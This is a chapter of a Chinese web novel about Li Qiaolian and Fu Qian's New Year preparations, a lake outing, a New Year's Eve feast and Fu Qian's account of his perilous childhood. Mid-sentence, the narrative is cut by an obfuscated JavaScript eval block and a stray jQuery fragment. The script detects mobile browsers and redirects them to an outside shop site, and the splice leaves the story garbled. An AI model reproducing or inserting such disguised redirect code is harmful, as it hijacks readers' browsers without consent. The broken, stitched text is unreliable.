第二天，李巧莲找了个机会和崔婶子详谈了一回。崔婶子一听这个房租和安排便知道是李巧莲为了帮衬自己的主意，一开始死活不同意，李巧莲好说歹说才让她答应先住一阵，在铺子里打下手到明年开春之后再说。
虽然年关将至，好些生意都关张了。李巧莲的铺子属于生意还不错的，她为冬日准备的滋补茶品和暖身香膏都卖得相当好，回头客不是一般的多。尤其年节有送礼的需求，李巧莲的东西货真价值，又看得到实际效用，就连陈官人的夫人贺氏，和县城里的达官贵人也到她这里定货。
她现在每天一开业，大单小单就雪片般砸来。就她一个人赶制礼盒肯定是忙不过来的，好在崔婶子一来便上了手，手脚麻利又勤快，着实给她减轻了不少的压力。
李巧莲正不知怎么感谢崔婶子好呢，回到家苻谦轻描淡写地告诉她，已经替震三儿联系了一家书院，过了年便可以将人送过去念书。
这可真是个大好的消息，李巧莲听了都能想到崔婶子会有多高兴。
毕竟崔婶子家的汉子以前出门跟人学过些医理，在李家庄除了耕种还是十里八乡的草医。村里人有个头疼脑热的毛病基本都是找他医治的，李巧莲小时候认草药就是跟他学的。在村里不说别的，面子上肯定是更受人尊敬一些，家底也更厚实一些。
李巧莲大哥家的两个小子，李大嫂吵了好几回想送他们去附近的村塾，都拼拼凑凑地拿不出钱来。而崔婶子家的震三儿从小就上过蒙馆，后面又去了村塾，是孩子们眼中最令人艳羡的那一类文化人。
“太好了！”李巧莲跳起来抱着苻谦的脖子，开心地晃了晃，“震三儿要是能续上学业，再读个几年就能参加县试了。据说他念书还不错的，说不定日后能考出个名堂，崔婶子也就能跟着享福了！”
苻谦一手拖着她的腰，一手点了点她的额头，“别高兴得太早，我是看他在家里无所事事才找件事给他做的。这个名额还不定是不是他的，开了年书院要考试，通过了才有资格去念书。你让他这些天赶紧把书看起来，别到时候给我丢人现眼。”
李巧莲欢喜得不行，在苻谦脸颊上狠狠地亲了一口，转身便去将这个好消息告诉崔婶子了。
年前忙碌的最后一个多月终于告一段落，到了年二七，李巧莲也关店歇业了，和崔婶子一起张罗过年的事宜。
反正她和崔婶子都没有回李家庄的打算，除夕便邀崔婶子一家和苻谦的那些手下们一起吃顿热乎的。
不到除夕，苻谦的手下们就开始热络上门，洗扫的洗扫，贴春联挂花灯，晒腊肉，腌角豆，做年糕都一应操办了。李巧莲和崔婶子反倒没什么能做的了，苻谦便叫上震三儿，要带他们到附近的白洞湖玩一玩。
李巧莲想着一年到头也确实没几天松快下来的时候，她自己倒还好，崔婶子跟着她忙碌了一个多月，确实也该放松一下，便答应了下来。
苻谦对附近游玩的地方轻车熟路，沿湖走了一小段路后，找到一截老木桩，那上面栓了条船。他指了震三儿跟他一同上船打鱼，又告诉李巧莲哪片山有果子，让她和崔婶子饿了可以去摘些填填肚子。
李巧莲笑着对崔婶子说苻谦这人就是对吃喝玩乐的事情特别在行，让崔婶子放心把震三儿交给苻谦，她们去山上摘点新鲜的果子。
绕过一片树林，李巧莲她们很快找到了苻谦说的果树，现下天气虽冷，却也正是吃橘子的时候。李巧莲和崔婶子摊开布包，摘了满满一大包裹橘子下来。
再回到湖边时，就见湖中心的小木船上，苻谦正指挥震三儿手忙脚乱地将洒下去的渔网拉回来。
震三儿应是第一次捞鱼，站在船上晃晃悠悠地，手里渔网又滑腻腻地。害得他大冷天出了一头一脸地汗，折腾了老半天才把渔网收回来。
结果忙活一场，把网里的鱼虾倒出来一数，也才四五条鱼。苻谦看起来不甚满意，可算了算时辰，觉得按照震三儿的效率，恐怕来不及再下一网了，便还是让震三儿摇船往回划了。
李巧莲就见回来的船上，苻谦不仅一点力都没出，还连埋汰带数落地念叨震三儿平日里只顾着念书做文章，不重视强健身体，打个鱼都费老大劲了，还没捞上来几条。
这一番话说得，可把李巧莲都听脸红了。她颇不好意思地瞅了瞅旁边的崔婶子，心里不住地埋怨苻谦也忒不会说话了，有这么当着人家娘的面批评孩子的么。
等苻谦和震三儿也上了岸，李巧莲赶忙上去帮忙把鱼提了下来，顺便把苻谦拉到一旁，让他别使唤完震三儿还不说人家好话，等会儿崔婶子该不高兴了。
苻谦压根儿不在乎道：“崔婶子有什么可不高兴的，她要是真心疼震三儿就该感激我才是。年轻人，一天天困在屋子里死读书哪行啊，迟早闷出毛病来。我这是带他出来透透气，顺带活动活动筋骨，别到时候中了进士连人家姑娘抛的绣球花都接不住。”
“嘿，你还有理了是不是？”李巧莲推了他一把，“人家好端端一个听话孩子，你少嚯嚯坏了，别以后跟着你斗鸡走狗的，学回一身坏毛病。崔婶子到时候找我讨说法，我拿什么赔给人家？”
苻谦抬眉往身后望了一眼，“没事儿，”他揽过李巧莲的肩膀，“你崔婶子让震三儿以后多跟我学呢，她可比你明理多了，知道我这是提点他呢。”
“可得了吧，”李巧莲点着自己的脸蛋说道，“你少往自己脸上贴金。”
他们一伙人说说笑笑地往回走，到了临近傍晚的时候回到窄巷院子里，苻谦掂了掂今天捞回来的鱼，转而交给了手下伙计，让他们加个餐，给大家伙分了。
李巧莲看着满院子忙忙碌碌的身影，一时间有些感慨。回想起半年前自己刚来阳坡县的情景，哪能想到半年后她竟然收获了这么一大家子热热闹闹的亲朋好友们。
如此欢腾地氛围一直持续到除夕夜，大家伙照例围在炉火前，争先恐后地吃了一顿丰盛地饕餮大餐。崔婶子得了李巧莲发的赏银，说是在铺子里做活的工钱和腊月订单收入的抽成，一共十二两银子，交到手上沉甸甸地，害得崔婶子感激涕零，抹了好半天眼泪才堪堪收回去。
震三儿得了李巧莲，苻谦还有一大帮伙计给的压岁钱，两个口袋装得鼓鼓囊囊，坐下去的时候裤子鼓起来一大块，被苻谦那帮手下笑话了一整个晚上。
他原本尚能秉持着读书人的矜持，不与这些个粗人计较。等到年夜饭端上桌来，一群大小伙子如饿狼扑食，蜂拥而上，眨眼便把菜肴瓜分了个干净。轮到震三儿去夹的时候，大多只剩点肉沫了，他那个气啊！几轮下来，什么矜贵有礼，什么尊卑有序，统统被他抛到脑后。一晚上下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903780|210363||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来，也成了你夺我争的一把好手。
苻谦用手肘捅了捅李巧莲，笑说他这样子，等明年去了书院，至少不怕他饿着肚子。
李巧莲简直要被苻谦这些层出不穷的歪点子给拜倒了，白了他一眼，起身去给一众喝得东倒西歪的伙计们熬醒酒汤了。
一伙人喝完酒便开始掷骰子，玩骨牌，闹到后半夜，子时一到，大家伙齐刷刷涌到门口，放了一连串鞭炮，又挨个从李巧莲这儿领了红包，互相道了贺喜的话，这才陆陆续续散了。
李巧莲乐呵了一晚上，也有些累了，看着满院子狼藉，她偶尔也想偷个懒。见苻谦一个人坐在桃花树下的长椅上，朝她招了招手。李巧莲略一沉吟，索性拎了罐酒，也坐了过去。
按规矩，他们今晚得守岁。整个阳坡县城，家家户户，灯火通明。
李巧莲把脑袋搁在苻谦肩头，互相依偎着静静地呆了好一会儿。
良久，她轻声问道：“王二哥，你想家吗？”
苻谦的手指抚上她的发髻，一下下捋着她垂下的青丝。
同样过了许久，他才淡淡开口道：“肯定会想。”顿了顿，他似乎极轻地叹了口气，“我应该没跟你说过，我很小的时候就被送走了，离开父母，去了一个遥远的，规矩森严的大家族里。”
李巧莲蜷起双腿，聚精会神地注视着苻谦。
“那个大家族里几乎每天都有人莫名其妙地死去，今天是家仆，明天是主子，谁都有可能成为那个看不见的刀刃下的亡魂。你得十分小心，不能说错话，不能做错事，否则的话……”苻谦苦涩地摇了摇头，“对于那个年纪的我来说，大家族里的规矩实在太多了，有成文的，也有不成文的。小孩子哪能懂得其中的深奥，我就有一次没管住嘴，多说了那么几句话。跟着我去大家族的大嬷嬷就……就再也没回来了。”
李巧莲无法想象小时候的苻谦是如何在这种窒息的环境中生存下来，想安慰又觉得太迟了一些。如今苻谦早已不需要别人的心疼，任何关心和爱护对他而言都显得苍白又无力。
她默默地伸过手去，握住了苻谦温热干燥的手掌，尽管自己的手比苻谦的小上一圈，但她还是努力地捂着苻谦的手，似乎这样就能分担一些对方曾经感受过的痛苦。
“不过这些都过去了，”苻谦低头瞧了李巧莲一眼，手指有一下没一下地梳着她的碎发，“在遇见你之前，我的确幻想过离开那个大家族，能回到以前的家，认回自己的父母。不过……之前在山谷里被你搭救那一次，那次我跟手下人走散，就是拜家里的兄弟所赐。”
李巧莲还是第一次听他说起遇险的内情，惊得“啊”了一声，“他们……他们为什么要那么做？”
苻谦道：“就和你大哥嫂子看你不顺眼的原因差不多，哪怕是一窝的狼崽，也会为了多抢一口奶而打起来。这是天地规则，换谁都一样。”
见李巧莲听完一脸同情难过的表情，苻谦又笑了一些，伸手弹了弹她的额头。
“你这是什么表情？我这不是好好的吗？没缺胳膊少腿的，大过年的别给我哭鼻子啊！”说着他深深地呼出口气，又道：“不过我跟你不一样，我离开家的时候还没怎么记事呢。虽说偶尔也会想一下自己和亲人相处的情形，但也只是想想罢了，毕竟我连父母长什么样子都不记得了。”